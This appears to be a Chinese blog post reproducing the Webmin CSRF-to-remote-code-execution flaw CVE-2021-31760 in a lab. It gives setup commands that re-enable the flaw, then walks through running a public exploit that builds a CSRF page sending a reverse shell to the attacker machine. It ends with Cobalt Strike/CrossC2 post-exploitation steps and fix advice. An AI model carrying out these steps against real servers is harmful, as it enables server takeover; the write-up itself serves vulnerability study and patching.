Webmin 跨站请求伪造漏洞复现(CVE-2021-31760)

0x00 漏洞介绍

Webmin是基于Web的界面的用于类Unix的系统管理工具。远程攻击者可以通过社工管理员,通过CSRF漏洞以及XSS漏洞,实现获取服务器信息,远程服务器的代码执行例如bash反弹,进而控制并接管服务器。属于Web应用类的高危漏洞。简单一句话:Webmin 1.973及更低版本,如果使用setup.pl脚本安装Webmin,则会出现XSS漏洞(CVE-2021-31760、CVE-2021-31761、CVE-2021-31762)

0x01 漏洞环境

CSRF需要攻击者、客户端管理员、服务器三者配合才能实现,我这里为了省事方便,将客户端和服务端都放在了ubuntu18上面。

  • 攻击机:192.168.91.135 kali-2021
  • 目标机+网站管理员:192.168.91.137 Ubuntu 18.04 Desktop(64)
  • 工具:https://192.168.91.137:10000、火狐浏览器(CSRF漏洞复现时,不能使用谷歌浏览器,谷歌浏览器自带屏蔽CSRF)
  • Webmin版本:Webmin 1.973

0x02 漏洞搭建

1、下载webmin安装包

wget http://prdownloads.sourceforge.net/webadmin/webmin_1.973_all.deb

2、安装相关的依赖文件

apt-get install perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl apt-show-versions python unzip

3、安装webmin

dpkg -i webmin_1.973_all.deb  #如果这个不行,就试试下面的这个
dpkg -i webmin_1.973_all.deb.1 #多试试,还有可能有.2的

安装完成后,系统默认开启10000端口,链接访问即可:https://192.168.91.137:10000

image-20220112154930627

4、由于我这里是用Deb安装,其实是不存在漏洞的,为了重现漏洞环境,将/etc/webmin/config文件中的referers_none=1改为referers_none=0即可

image-20220112155319223

0x03 影响范围

Webmin版本<=1.973

0x04 漏洞条件

1、服务器webmin版本<=1.973 并且使用setup.pl脚本安装

2、客户端管理员登陆到webmin成功,不关闭浏览器且不退出登陆的同时,新建标签页打开攻击者构造的html网页

3、客户端管理员以root身份登陆到网站

0x05 漏洞原理

1、管理员利用了非推荐的setup.pl脚本安装了版本<=1.973webmin,致使默认情况下不会启用检查未知引用的程序,即/etc/webmin/config中无referers_none=1此行代码,也就不存在referer字段验证,产生CSRF漏洞。

image-20220112115422237

2、攻击者可通过精心伪造登陆界面,向/proc/run.cgicmd参数通过POST方式提交命令执行的代码,进而控制整个服务器。

image-20220112115638146

image-20220112115958228

0x06 漏洞复现

1、目标机管理员以root正常登陆https://192.168.91.137:10000 webmin页面,账号为root,密码默认为系统的

image-20220112120729408

image-20220112120747395

2、攻击机下载POC

github原项目:proxychains git clone https://github.com/electronicbots/CVE-2021-31760
github备用网址:proxychains git clone https://github.com/sukusec301/CVE-2021-31760

3、启用此脚本,按照脚本逻辑依次填写目标IP、攻击机IP、攻击机监听端口、反弹shell类型信息

cd CVE-2021-31760
python3 RCE_eXploit.py

image-20220112120408209

4、进入CVE-2021-31760脚本文件夹,可以看到生成了CSRF_POC.html文件

image-20220112120924632

5、在此目录下打开终端,使用python3开启http服务

python3 -m http.server 5555

image-20220112121201774

6、在不关闭浏览器并且不退出当前登陆的情况下,新建标签页访问192.168.91.135:5555,点击访问CSRF_POC.html

image-20220112121310496

image-20220112121442066

7、可以看到Kali监听端口这里收到了目标机器的bash反弹

image-20220112121557530

8、启动CS服务与客户端

nohup ./teamserver 192.168.91.135 mima &		#后台启动,不占用前台资源
./cobaltstrike &								#后台启动,不占用前台资源

9、由于CS默认不支持Linux系统上线,所以需要安装一个插件——CrossC2(https://github.com/gloxec/CrossC2),并且CS导入CrossC2

image-20220112152635672

8、将获得的shell使用python一句话将其转换成交互式shell,随后CS CrossC2生成上线命令,使其上线

python3 -c "import pty;pty.spawn('/bin/bash')"

image-20220112141558379

image-20220112141615647

9、之后可以进行内网信息探测,内网渗透,在这里不再赘述。

0x07 漏洞修复建议

1、更新Webmin,使其版本达到1.973以上

2、次者,请使用标准的RPM、Deb、TAR和Solaris软件包安装,因为它们不使用setup.pl脚本安装webmin,因此不容易受到攻击

3、再次者,如果确实使用setup.pl脚本进行安装,则可以通过将行referers_none=1添加到/etc/webmin/config中来修复这个此漏洞

image-20220112154234903

0x08 漏洞POC+EXP分析

image-20220112160053659

可以非常明显地看到其主要逻辑就在这个 CSRF_Generator() 函数中,拿我们刚才填入的 target 信息和选择的反弹 shell 类型,去构建了一个可以提交 POST 表单的 CSRF 的页面,这个 POST 表单中的 cmd 字段就是构建的反弹 shell 的命令。由于有的服务器可能没安装某些语言,所以后边的几个弹 shell 的命令可能会失败...但是一般的服务器应该都有 bash 吧,所以选择第一个的 bash shell 是一般都能成功的。

之后在 Attacker 的本地开启 nc 监听一个特定的端口,当网站管理员点进了生成的恶意页面,就会将 cmd 提交到 Webmin 站点的 /proc/run.cgi 去执行,其中就包含了使用 nc 向 Attacker 反弹 shell 的逻辑。

posted @   谨言慎行啊  阅读(782)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
点击右上角即可分享
微信分享提示